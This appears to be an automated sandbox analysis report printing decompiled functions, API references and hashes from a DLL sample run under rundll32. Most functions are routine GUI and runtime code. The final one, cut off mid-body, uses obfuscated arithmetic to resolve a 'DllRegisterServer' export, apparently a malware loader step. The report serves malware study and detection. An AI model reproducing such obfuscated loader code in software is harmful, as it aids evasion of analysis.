				E6EB49E16( &_a78, _t138,  *(_t138 + 0x74) - 0xd2);
				_t132 = _a126;
				FrameRect(_a126, _t136, _a78);
				_a74 = 0x6eb79cf0;
				E6EB41070( &_a74, _a126);
				_a230 = 0;
				_a62 = 0x6eb79cf0;
				E6EB41070( &_a62, _a126);
				_a230 = 0xffffffff;
				_t96 = E6EB49B87(_t100,  &_a122, _t136, 0x6eb79cf0, _t149);
				 *[fs:0x0] = _a222;
				_pop(_t137);
				_pop(_t140);
				_pop(_t102);
				return E6EB63DE0(_t96, _t102, _a214 ^ _t143, _t132, _t137, _t140);
			}

0x6eb474b6
0x6eb474b6
0x6eb474b6
0x6eb474b6
0x6eb474c0
0x6eb474c0
0x6eb474c4
0x6eb474c8
0x6eb474da
0x6eb474de
0x6eb474e2
0x6eb474e6
0x6eb474ec
0x6eb474f0
0x6eb474fa
0x6eb474fe
0x6eb47502
0x6eb47504
0x6eb47508
0x6eb4750c
0x6eb47519
0x6eb47519
0x6eb4751f
0x6eb4752c
0x6eb4753f
0x6eb47542
0x6eb4755a
0x6eb47570
0x6eb47574
0x6eb47582
0x6eb47586
0x6eb4758a
0x6eb4758e
0x6eb47592
0x6eb47596
0x6eb4759a
0x6eb4759e
0x6eb475a8
0x6eb475ad
0x6eb475ba
0x6eb475bc
0x6eb475c4
0x6eb475c6
0x6eb475c8
0x6eb475d1
0x6eb475db
0x6eb475e3
0x6eb475ea
0x6eb475ed
0x6eb475f0
0x6eb475f3
0x6eb475f3
0x6eb475f6
0x6eb47602
0x6eb47608
0x6eb4760d
0x6eb47616
0x6eb47515
0x6eb47519
0x6eb4751f
0x6eb4752c
0x6eb4753f
0x6eb47542
0x6eb4755a
0x6eb47570
0x6eb47574
0x6eb47582
0x6eb47586
0x6eb4758a
0x6eb4758e
0x6eb47592
0x6eb47596
0x6eb4759a
0x6eb4759e
0x6eb475a8
0x6eb475ad
0x6eb475ba
0x6eb475bc
0x6eb475c4
0x6eb475c6
0x6eb475c8
0x6eb475d1
0x6eb475db
0x6eb475e3
0x6eb475ea
0x6eb475ed
0x6eb475f0
0x6eb475f3
0x6eb475f3
0x00000000
0x6eb475d1
0x00000000
0x6eb47616
0x6eb4761c
0x6eb47620
0x6eb47624
0x6eb47628
0x6eb4762c
0x6eb4763c
0x6eb47640
0x6eb47648
0x6eb47661
0x6eb47662
0x6eb4766b
0x6eb47675
0x6eb47684
0x6eb47688
0x6eb4768d
0x6eb47699
0x6eb4769d
0x6eb476a9
0x6eb476b4
0x6eb476c0
0x6eb476c8
0x6eb476c9
0x6eb476ca
0x6eb476dc

APIs

ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ColorRect$FrameInflateOffsetText
String ID:
API String ID: 445312294-0
Opcode ID: f8c59e94753e615d7aa1f2e95151b933b46edb82d66080584e338449ca4f5435
Instruction ID: 30dc7bea4754c42a0cc557bb541827d2206825bb6b970478347b023de5ca5ecb
Opcode Fuzzy Hash: f8c59e94753e615d7aa1f2e95151b933b46edb82d66080584e338449ca4f5435
Instruction Fuzzy Hash: 5B5112725087808FC314CF65C494AAABBF4FFC9714F018E1DE59A922A4EB749844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41920 Relevance: 7.6, APIs: 5, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB41920(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t74;
				signed int _t80;

				_push(0xffffffff);
				_push(0x6eb78934);
				_push( *[fs:0x0]);
				_t39 =  *0x6eb89470; // 0xc96cff66
				_push(_t39 ^ _t80);
				 *[fs:0x0] =  &_v12;
				_t74 = _a4;
				E6EB52A40(_t74, 0x66, 0);
				_v12 = 0;
				 *_t74 = 0x6eb7ed74;
				 *((intOrPtr*)(_t74 + 0x78)) = 0;
				 *((intOrPtr*)(_t74 + 0x74)) = 0x6eb79cf0;
				_v12 = 1;
				E6EB47200(0, _t74 + 0x7c);
				_t67 = _t74 + 0xf4;
				_v16 = 2;
				E6EB4B426(_t67, 0);
				 *_t67 = 0x6eb7af94;
				_t68 = _t74 + 0x148;
				_v16 = 3;
				E6EB46A20(0, _t68);
				 *_t68 = 0x6eb7e974;
				 *((intOrPtr*)(_t68 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t68 + 0x7c)) = 0;
				 *((intOrPtr*)(_t68 + 0x80)) = 0;
				 *((intOrPtr*)(_t68 + 0x7c)) = GetStockObject(0);
				_t69 = _t74 + 0x1cc;
				_v24 = 4;
				E6EB46A20(0, _t69);
				 *_t69 = 0x6eb7e974;
				 *((intOrPtr*)(_t69 + 0x7c)) = 0;
				 *((intOrPtr*)(_t69 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t69 + 0x80)) = 0;
				 *((intOrPtr*)(_t69 + 0x7c)) = GetStockObject(0);
				_t70 = _t74 + 0x250;
				_v32 = 5;
				E6EB46A20(0, _t70);
				 *_t70 = 0x6eb7e974;
				 *((intOrPtr*)(_t70 + 0x7c)) = 0;
				 *((intOrPtr*)(_t70 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t70 + 0x80)) = 0;
				 *((intOrPtr*)(_t70 + 0x7c)) = GetStockObject(0);
				_t71 = _t74 + 0x2d4;
				_v40 = 6;
				E6EB46A20(0, _t71);
				 *_t71 = 0x6eb7e974;
				 *((intOrPtr*)(_t71 + 0x7c)) = 0;
				 *((intOrPtr*)(_t71 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t71 + 0x80)) = 0;
				 *((intOrPtr*)(_t71 + 0x7c)) = GetStockObject(0);
				_v48 = 7;
				E6EB53D20(0, _t71, _t74, 0);
				 *((intOrPtr*)(_t74 + 0x358)) = LoadIconA( *(E6EB53D20(0, _t71, _t74, 0) + 0xc), 0x80);
				 *[fs:0x0] = _v56;
				return _t74;
			}

APIs

Part of subcall function 6EB52A40: _memset.LIBCMT ref: 6EB52A5C

GetStockObject.GDI32(00000000), ref: 6EB419B9
GetStockObject.GDI32(00000000), ref: 6EB419E6
GetStockObject.GDI32(00000000), ref: 6EB41A13
GetStockObject.GDI32(00000000), ref: 6EB41A40
LoadIconA.USER32 ref: 6EB41A5D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ObjectStock$IconLoad_memset
String ID:
API String ID: 1965300055-0
Opcode ID: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction ID: 31d295ea9c54762344bf724ab3f08eb1dea3ea09ec1d53974f16ad1aab7574ac
Opcode Fuzzy Hash: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction Fuzzy Hash: E6415CB1404BC6AFD711CFAAC88078AFFE8BF49704F00492DD1A997611CB74A514DFA6

Uniqueness

Uniqueness Score: -1.00%

Function 6EB53F78 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB53F78(intOrPtr* __ecx, int* _a4) {
				int _v8;
				int _t12;
				int _t14;
				int _t22;
				int _t32;
				int* _t36;

				_push(__ecx);
				_t35 = __ecx;
				if(__ecx == 0) {
					_t22 =  *0x6eb8c908; // 0x60
					_t12 =  *0x6eb8c90c; // 0x60
					goto L6;
				} else {
					_t32 = GetMapMode( *(__ecx + 8));
					if(_t32 >= 7 || _t32 == 1) {
						_t22 = GetDeviceCaps( *(_t35 + 8), 0x58);
						_t12 = GetDeviceCaps( *(_t35 + 8), 0x5a);
						L6:
						_t36 = _a4;
						_v8 = _t12;
						 *_t36 = MulDiv( *_t36, 0x9ec, _t22);
						_t14 = MulDiv(_t36[1], 0x9ec, _v8);
						_t36[1] = _t14;
					} else {
						_push(3);
						 *((intOrPtr*)( *__ecx + 0x34))();
						E6EB4982A(__ecx, _a4);
						_push(_t32);
						_t14 =  *((intOrPtr*)( *__ecx + 0x34))();
					}
				}
				return _t14;
			}

APIs

GetMapMode.GDI32(?), ref: 6EB53F8A
GetDeviceCaps.GDI32(?,00000058), ref: 6EB53FC4
GetDeviceCaps.GDI32(?,0000005A), ref: 6EB53FCD

Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB4986C
Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB49889

MulDiv.KERNEL32(?,000009EC,00000060), ref: 6EB53FF1
MulDiv.KERNEL32(?,000009EC,?), ref: 6EB53FFC

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction ID: 210b0f9cd551eab6e0fb7cbe869450087598f37506c354923e52a13d72ccc8e6
Opcode Fuzzy Hash: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction Fuzzy Hash: 6411AC72600B54AFDF12AF99CC48C0EBBB9EF9A710B124419FA8597760C772EC518F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54008 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB54008(intOrPtr* __ecx, int* _a4) {
				int _v8;
				int _t12;
				int _t14;
				int _t30;
				int _t33;
				int* _t36;

				_push(__ecx);
				_t35 = __ecx;
				if(__ecx == 0) {
					_t30 =  *0x6eb8c908; // 0x60
					_t12 =  *0x6eb8c90c; // 0x60
					goto L6;
				} else {
					_t33 = GetMapMode( *(__ecx + 8));
					if(_t33 >= 7 || _t33 == 1) {
						_t30 = GetDeviceCaps( *(_t35 + 8), 0x58);
						_t12 = GetDeviceCaps( *(_t35 + 8), 0x5a);
						L6:
						_t36 = _a4;
						_v8 = _t12;
						 *_t36 = MulDiv( *_t36, _t30, 0x9ec);
						_t14 = MulDiv(_t36[1], _v8, 0x9ec);
						_t36[1] = _t14;
					} else {
						_push(3);
						 *((intOrPtr*)( *__ecx + 0x34))();
						E6EB497BF(__ecx, _a4);
						_push(_t33);
						_t14 =  *((intOrPtr*)( *__ecx + 0x34))();
					}
				}
				return _t14;
			}

0x6eb5400d
0x6eb54010
0x6eb54015
0x6eb54061
0x6eb54067
0x00000000
0x6eb54017
0x6eb54020
0x6eb54025
0x6eb5405b
0x6eb5405d
0x6eb5406c
0x6eb5406c
0x6eb5407e
0x6eb54087
0x6eb5408c
0x6eb5408e
0x6eb5402c
0x6eb5402e
0x6eb54032
0x6eb5403a
0x6eb54041
0x6eb54044
0x6eb54044
0x6eb54025
0x6eb54095

APIs

GetMapMode.GDI32(?), ref: 6EB5401A
GetDeviceCaps.GDI32(?,00000058), ref: 6EB54054
GetDeviceCaps.GDI32(?,0000005A), ref: 6EB5405D

Part of subcall function 6EB497BF: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB49801
Part of subcall function 6EB497BF: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB4981E

MulDiv.KERNEL32(?,00000060,000009EC), ref: 6EB54081
MulDiv.KERNEL32(?,?,000009EC), ref: 6EB5408C

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 505970eca706c0bb2aac74e03a2d420de7abc509242adec0378165ffa991dfef
Instruction ID: aa374afc5fce022658d3d8f4d2f4ab1f9960a0ea1563c88abb87a25251d25303
Opcode Fuzzy Hash: 505970eca706c0bb2aac74e03a2d420de7abc509242adec0378165ffa991dfef
Instruction Fuzzy Hash: 7A11A071600B15EFDF116FA5CC44C1EBBAAEF96710B164419FA8257760C771EC528F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54322 Relevance: 7.6, APIs: 5, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6EB54322(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr _t27;
				void* _t28;
				int _t29;
				intOrPtr _t30;
				CHAR* _t32;
				intOrPtr _t33;
				signed int _t37;

				_t27 = __edx;
				_t24 = __ecx;
				_t35 = _t37;
				_t9 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t9 ^ _t37;
				_t22 = _a4;
				_t32 = _a8;
				_push(_t28);
				_t41 = _t22;
				if(_t22 == 0) {
					L2:
					E6EB48BA4(_t22, _t24, _t28, _t32, _t41);
				}
				if(_t32 == 0) {
					goto L2;
				}
				_t29 = lstrlenA(_t32);
				_v264 = 0;
				E6EB65E80(_t29,  &_v263, 0, 0xff);
				if(_t29 > 0x100 || GetWindowTextA(_t22,  &_v264, 0x100) != _t29 || lstrcmpA( &_v264, _t32) != 0) {
					_t16 = SetWindowTextA(_t22, _t32);
				}
				_pop(_t30);
				_pop(_t33);
				_pop(_t23);
				return E6EB63DE0(_t16, _t23, _v8 ^ _t35, _t27, _t30, _t33);
			}

APIs

lstrlenA.KERNEL32(?,?,?), ref: 6EB5434E
_memset.LIBCMT ref: 6EB5436B
GetWindowTextA.USER32 ref: 6EB54385
lstrcmpA.KERNEL32(00000000,?,?,?), ref: 6EB54397
SetWindowTextA.USER32(00000000,?), ref: 6EB543A3

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction ID: 6bf6e37c28b25e011d45a472d5f78341cb4e8be11eacb7d93c9ef22e1ea8f884
Opcode Fuzzy Hash: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction Fuzzy Hash: 4F01C4B2601258ABDF10AEA5CD84BDE7B6CEF55354F010461F906E3240DA70995587A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E289 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E6EB6E289(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x6eb856a0);
				E6EB66608(__ebx, __edi, __esi);
				_t31 = E6EB6A81F(__ebx, __edx, __edi, _t35);
				_t15 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E6EB6AEB4(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x6eb89f50; // 0x4cc1650
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x6eb89b28;
								if(__eflags != 0) {
									_push(_t33);
									E6EB642E6(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x6eb89f50; // 0x4cc1650
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x6eb89f50; // 0x4cc1650
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E6EB6E324();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E6EB66ECD(_t29, _t31, 0x20);
				}
				return E6EB6664D(_t33);
			}

APIs

__getptd.LIBCMT ref: 6EB6E295

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__amsg_exit.LIBCMT ref: 6EB6E2B5
__lock.LIBCMT ref: 6EB6E2C5
InterlockedDecrement.KERNEL32(?), ref: 6EB6E2E2
InterlockedIncrement.KERNEL32(04CC1650), ref: 6EB6E30D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction ID: 7e04993b826f49c94952254b0c8958f7b4b1628a3e679c30d3b00c7898d63d8d
Opcode Fuzzy Hash: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction Fuzzy Hash: B3018031D55AA2DBDF519FE4884878E7FA4FF02714F150809E85867784CB34AA41CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44E80 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 457
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB44E80() {
				intOrPtr _t205;
				signed int _t208;
				signed int _t213;
				void* _t218;
				void* _t227;
				intOrPtr* _t229;
				signed int _t242;
				signed int _t243;
				intOrPtr _t265;
				signed int _t291;
				signed int _t301;
				intOrPtr* _t309;
				signed int _t339;
				signed int _t351;
				signed int _t353;
				signed int _t358;
				signed int _t370;
				intOrPtr _t371;
				signed int _t376;
				signed int _t379;
				signed int _t380;
				signed int _t382;
				intOrPtr _t384;
				intOrPtr _t389;
				intOrPtr _t409;
				signed int _t410;
				signed int _t426;
				signed int _t442;
				signed int _t458;
				signed int _t479;
				signed int _t486;
				signed int _t488;
				signed int _t508;
				signed int _t515;
				signed int _t520;
				signed int _t521;
				intOrPtr _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				intOrPtr _t530;
				intOrPtr* _t531;
				signed int _t547;
				intOrPtr _t549;
				intOrPtr _t552;
				intOrPtr _t558;
				void* _t575;
				void* _t576;

				_t205 =  *0x6eb8d558; // 0x337fde0
				_t339 =  *0x6eb8a9c4; // 0x0
				_t243 =  *0x6eb8a9bc; // 0x0
				_t382 =  *0x6eb8a9c8; // 0x0
				 *((intOrPtr*)(_t575 + 0xc)) = _t205;
				 *((intOrPtr*)(_t575 + 0x14)) =  *((intOrPtr*)(_t205 + 4));
				_t488 =  *0x6eb8a9d0; // 0x0
				_t208 = _t488 * _t339;
				 *(_t575 + 0x3c) = _t208;
				_t384 = _t382 + _t382 * 2 + _t382 + _t382 * 2;
				_t515 =  *0x6eb8a9cc; // 0x0
				 *((intOrPtr*)(_t575 + 0x1c)) = _t384;
				_t213 =  *0x6eb8a9c0; // 0x0
				_t389 =  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)))) + 0x78 + ((_t488 - _t339 + _t339 * 2 - 5) * _t515 + (_t243 + (_t208 + _t243) * 2 + (_t243 + (_t208 + _t243) * 2) * 2 - _t488 + _t488 - _t339) * 2 + (_t384 + _t515 - 7) * _t213) * 8;
				 *(_t575 + 0x30) = "DllRegisterServer";
				 *((intOrPtr*)(_t575 + 0x28)) = _t389;
				if( *((intOrPtr*)(_t389 + 4)) == 0) {
					L18:
					return 0;
				} else {
					 *(_t575 + 0x2c) = _t515 *  *0x6eb8a9bc * _t488;
					_t547 =  *0x6eb8a9c8; // 0x0
					_t265 = ((_t515 *  *0x6eb8a9c8 - _t213 * _t213 * 0x52 + _t515 *  *0x6eb8a9c8) * _t488 + 0xa4) *  *0x6eb8a9bc + ((2 - _t339 * _t339) * _t339 - _t515 + _t488) * 0x52 + (_t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213 + (( *(_t575 + 0x2c) + 0xfffffffd) *  *0x6eb8a9c8 + _t213 + _t213) * 4) * 4) * 4 -  *((intOrPtr*)(_t575 + 0x1c)) +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x28)))) +  *((intOrPtr*)(_t575 + 0x18));
					 *(_t575 + 0x20) = _t213 * _t488;
					 *((intOrPtr*)(_t575 + 0x10)) = _t265;
					 *((intOrPtr*)(_t575 + 0x24)) =  *((intOrPtr*)(_t265 + 0x18));
					_t549 = _t515 + _t488 * 2 + _t515 + _t488 * 2;
					_t409 = ((_t547 * _t488 + 2) * _t515 + 1) * _t547 + ((_t547 * _t488 + 2) * _t515 + 1) * _t547;
					 *((intOrPtr*)(_t575 + 0x34)) = _t409;
					 *((intOrPtr*)(_t575 + 0x28)) = _t549;
					if( *((intOrPtr*)(_t575 + 0x24)) == (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 + (_t339 -  *(_t575 + 0x20) - _t515 + 1) * _t213 - _t549 - _t409) {
						goto L18;
					} else {
						_t410 =  *0x6eb8a9bc; // 0x0
						_t552 = _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2 + _t488 + _t488 * 2;
						 *((intOrPtr*)(_t575 + 0x38)) = _t552;
						_t558 =  *((intOrPtr*)(_t575 + 0x10));
						if( *((intOrPtr*)(_t558 + 0x14)) == (_t552 + 0xfffffffa) * _t339 + (_t410 + _t410 * 2 - _t515 + (_t410 + _t410 * 2 - _t515) * 2) * 2 + ( *((intOrPtr*)(_t575 + 0x1c)) + 0xfffffffa) * _t213) {
							goto L18;
						} else {
							if("DllRegisterServer" >> 0x10 != 0) {
								_t78 = _t339 + 2; // 0x2
								if((_t339 -  *(_t575 + 0x20) + _t515 +  *(_t575 + 0x20) + _t515 + _t78) * _t213 + (0 |  *((intOrPtr*)(_t575 + 0x24)) == 0x00000000) -  *((intOrPtr*)(_t575 + 0x28)) !=  *((intOrPtr*)(_t575 + 0x34))) {
									goto L18;
								} else {
									if( *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x14)) + 0x30)) != 0) {
										L14:
										_t426 =  *0x6eb8a9bc; // 0x0
										_t291 =  *0x6eb8a9c8; // 0x0
										_t218 = bsearch(_t575 + 0x40 + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc + (_t213 + _t213 * 2 + (1 -  *0x6eb8a9c8) * _t515 + _t488 + (_t213 - _t339 + 3) * _t339 + (_t488 - _t213) *  *0x6eb8a9bc) * 2) * 8,  *( *(_t575 + 0x20) + 0x30),  *(_t558 + 0x18) - _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339 + _t291 * _t488 * _t339, (_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339 + 8 + ((_t515 - _t339 + 3) * _t213 - (_t213 * _t213 * _t339 +  *0x6eb8a9c8 + 2 + _t488 * 2) * _t515 + _t426 * 2 - _t291 + _t488 + _t339) * 2, E6EB44E40);
										_t575 = _t575 + 0x14;
										if(_t218 == 0) {
											goto L18;
										} else {
											_t442 =  *(_t218 + 4) & 0x0000ffff;
											_t339 =  *0x6eb8a9c4; // 0x0
											_t488 =  *0x6eb8a9d0; // 0x0
											_t213 =  *0x6eb8a9c0; // 0x0
											_t515 =  *0x6eb8a9cc; // 0x0
											goto L16;
										}
									} else {
										_t301 =  *0x6eb8a9bc; // 0x0
										 *((intOrPtr*)(_t575 + 0x28)) = ( *((intOrPtr*)(_t575 + 0x1c)) + _t515 * 4 - 0xa) * _t213 + (_t488 * 4 - 2) * _t515 + ( *((intOrPtr*)(_t575 + 0x38)) + 0xa) * _t339 + (_t301 + _t301 * 8) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t575 + 0x10)) + 0x20)) - _t488 * 4 +  *((intOrPtr*)(_t575 + 0x18));
										_t458 =  *0x6eb8a9c8; // 0x0
										_t103 = _t339 + 1; // 0x1
										_t558 =  *((intOrPtr*)(_t575 + 0x10));
										_t351 =  *0x6eb8a9c8; // 0x0
										_t309 = ((_t339 * 4 + 4 + (_t301 + _t301 * 4) * 2) * _t515 - _t213 * 4 - 0x26) *  *0x6eb8a9c8 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301 + (_t103 * _t515 + (_t515 + _t458) * _t213 +  *0x6eb8a9c8 + _t301) * 4) * 2 + (_t339 - _t213 * 8 - _t213) * 4 + (0xe + _t339 * 4) * _t488 +  *((intOrPtr*)(_t558 + 0x24)) +  *((intOrPtr*)(_t575 + 0x18));
